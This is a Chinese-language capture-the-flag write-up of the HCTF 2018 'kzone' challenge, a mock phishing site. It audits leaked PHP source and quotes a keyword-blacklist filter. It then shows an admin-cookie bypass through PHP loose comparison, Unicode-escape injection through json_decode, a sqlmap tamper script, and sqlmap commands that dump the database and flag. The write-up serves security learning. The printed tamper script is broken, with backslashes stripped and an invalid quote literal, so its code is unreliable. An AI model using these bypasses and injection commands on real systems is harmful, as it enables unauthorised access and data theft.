前言
刚好周末,参加了一下HCTF,于是写篇文章记录一下也补一补双十一剁手的元气。
信息搜集
打开题目
http://kzone.2018.hctf.io
发现跳转到QQ空间,想到可能是钓鱼网站,于是curl一下
发现如下代码
<!--<form id="form" action="index.php" method="post" onsubmit="return onpost()"> -->
<form action="2018.php" method="post" onSubmit="return ts()">
<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<ul id="g_list">
<liid
="g_u">
<div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div>
<input id="u" class="inputstyle" name="user" autocomplete="off" placeholder="KK_Account/Phone/Email"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="pass" autocorrect="off"
placeholder="Input your KK_Account please"></li>
</ul>
<button id="go" name="submit">Login</button>
<div href="javascript:void(0);" id="onekey">Login quickly</div>
</div>
<div id="switch">
<div id="swicth_login" onClick="pt._switch()" style="display:none"></div>
<div id="zc_feedback"><span id="zc"
onclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register</span>
<span id="forgetpwd">Retrieve password</span></div>
</div>
</form>
于是可以判断为钓鱼网站,首先做个目录探测,容易发现www.zip源码泄露
http://kzone.2018.hctf.io/www.zip
代码审计
首先是结构:
admin文件夹:管理整个钓鱼网站,导出、查看、删除钓鱼信息
include文件:包含一些功能性文件
2018.php:钓鱼插入文件
然后进行大致分析,首先查看2018.php
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
?>
发现大概是将钓鱼用户的信息插入数据库,代码使用了许多sql语句,所以查看过滤,发现/include/safe.php有全局过滤
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|#|s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
.....
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
?>
过滤了get,post,cookie
但是http header应该没经过过滤,于是想到可否控制ip,然后达成insert注入
跟一下real_ip()
function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}
发现虽然可以用xff,但是有ip2long的验证,这条路不通。
那么看到admin的login.php
if (isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['login'])) {
$user = addslashes($_POST['user']);
$pass = addslashes($_POST['pass']);
上来就发现过滤,应该也无法突破。
那么只能看include文件夹里有什么突破点了,看到member.php
发现突破口:
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
在做admin校验的时候用了弱比较
if ($admin_pass == $login_data['admin_pass'])
{
$islogin = 1;
}
那么我们可以尝试fuzz admin_pass,从数字0开始跑,跑到65发现成功登陆admin
注入
该方法来自于大哥Ricterz,鬼才真的是鬼才,方法如下:
我们发现在用cookie做身份校验的时候查询了数据库
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
发现其中用了json_decode,那么我们可以尝试使用编码进行bypass,即可无视一切过滤进行注入
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')
于是尝试数据库注入,打开神器sqlmap,编写一下tamper:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')
return data % payload
然后我们知道,目标肯定是Mysql,且这里用bool注入即可,那么我们指定bool盲注
--technique=B
指定数据库
--dbms=mysql
于是我们可以尝试探测一下数据库
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --technique=B --dbs
但是蛋疼的事来了,sqlmap告诉我们没有漏洞,原因肯定是sqlmap对回显识别有问题,所以我们尝试指定错误时候的回显
即
--not-string=window.location
然后加点线程
--thread=10
最后有
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
即可愉快的得到结果
然后指定库名跑表名
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone --tables
指定表名跑列名
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g --columns
最后在跑flag的时候又遇到跑不出来的问题
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g -C F1a9 --dump
看一下tamper
payload = payload.lower()
因为我们把payload转小写了,于是我们把它转回去
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
即可愉快的得到flag
即可拿到flag
后记
以往做题都是遇到注入,自己写脚本,经过这道题目,可以充分发现sqlmap的好处非常多,也很便捷。
再附上一篇参考链接
http://www.melodia.pw/?p=918
最后,再膜一遍Ricterz!